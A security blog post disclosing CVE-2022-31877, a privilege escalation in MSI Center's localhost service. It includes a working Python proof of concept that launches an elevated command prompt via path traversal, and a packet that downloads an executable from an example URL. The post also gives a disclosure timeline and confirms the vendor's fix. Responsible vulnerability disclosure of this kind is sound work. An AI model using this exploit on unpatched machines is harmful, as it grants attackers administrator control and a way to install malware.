patsch.dev

CVE-2022-31877: Privilege Escalation in MSI Center

Leave a Comment / Security / By patrick

Missing input validation and missing authentication allow attackers with the ability to connect to TCP/IP ports on localhost:26822 (e.g. any low-privileged user space process) to download and/or launch arbitraty executables with elevated privileges.

General

- Affected product: MSI Center by Micro-Star Int'l Co., Ltd.
- Affected version: < 1.0.45.0, e.g. 1.0.41.0
- CVE-2022-31877

Description

MSI Center, a tool suite provided by MSI to configure and manage MSI mainboards, includes an executable `MSI.TerminalServer.exe` which is installed as a privileged service by default and allows incoming TCP/IP connections on `localhost:26822`. Via the TCP/IP channel, in version 1.0.41.0, it accepts several JSON-formatted command packets without any authentication, including commands which download files from the web and launch executables with elevated privileges.

While these commands are meant to download and install updates of MSI Center, missing authentication allows attackers to trigger a download of arbitrary files form the web to the local file system. Missing input validation enables attackers to launch arbitrary executables, including the downloaded ones, with elevated permissions by employing path traversal techniques.

Combined, these vulnerabilities could, for example, serve as an entry point for user-space applications (like email attachments) to fully compromise a system, including installation of malware or ransomware.

Proof of Concept

The following simple Python example will start an elevated Administrator command prompt when executed on a machine running MSI Center.

```python
import socket
import json

packet = {
    "Type": "RunSetupModule",
    "Content": json.dumps({
        "Dependent": [{
            "File": "..\\..\\..\\Windows\\system32\\cmd.exe"
        }],
        "DependentIndex": 0,
        "ProgressStatus": 21
    })
}

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 26822))
    s.sendall(json.dumps(packet).encode('utf8'))
```

Similarly, an arbitray file download can be triggered via the `DownloadModule` packet type:

```python
packet = {
    "Type": "DownloadModule",
    "Content": json.dumps({
        "ProcessURL": "https://example.com/foo.exe",
        "Dependent": [{
            "File": "foo.exe"
        }],
        "DependentIndex": 0
    })
}
```

Timeline

- May 19, 2022: Contacted vendor with a detailed report and PoC
- May 25, 2022: Issue partially confirmed by vendor
- May 25, 2022: Supplied more details including screencast of PoC
- May 27, 2022: Vendor confirms they are working on a fix
- June 3, 2022: CVE number assigned
- June 3, 2022: Vendor reports the issue is fixed in MSI.TerminalServer.exe 3.2022.0527.01 by introducing CA signature validation before launching executables
- July 5, 2022: I was able to update to a recent MSI Center version and confirm the issue has been fixed (i.e. the PoC is no longer working)
- July 8, 2022: Public disclosure

Thank You and Side Note

I would like to thank MSI for quickly fixing this issue. However, it was difficult to find a contact in MSI to report this issue. I would like to encourage MSI to establish and publish a process to report security vulnerabilities in their products and add an easier way to contact security, without going through various tiers of technical support first. A first step could be to set up a dedicated email address and a `/.well-known/security.txt` file for easily finding contact information.

← Previous Post

Next Post →

Leave a Comment

Your email address will not be published. Required fields are marked *

Type here..

Name*

Email*

Website

□ Save my name, email, and website in this browser for the next time I comment.

Post Comment »

Search

Search

Recent Posts

Running Siemens LOGO! Comfort V8.3 on macOS Monterey with Apple Silicon

Blocking Exchange CVE-2022-41040 Attacks via HAProxy

Reverse-Engineering macOS Server APNS Push Certificate Retrieval

CVE-2022-31877: Privilege Escalation in MSI Center

Running a Samsung Blu-ray Player on 12V

Recent Comments

bassam on Resurrecting a Brother Printer after a Failed Firmware Update

patrick on Resurrecting a Brother Printer after a Failed Firmware Update

Charles on Resurrecting a Brother Printer after a Failed Firmware Update

Mikey on Resurrecting a Brother Printer after a Failed Firmware Update

Stuckonprint on Resurrecting a Brother Printer after a Failed Firmware Update

Archives

November 2022

September 2022

August 2022

July 2022

Categories

Electronics

Security

Software

Uncategorized

Contact

pschlan

patschdev

✉ patsch@patsch.dev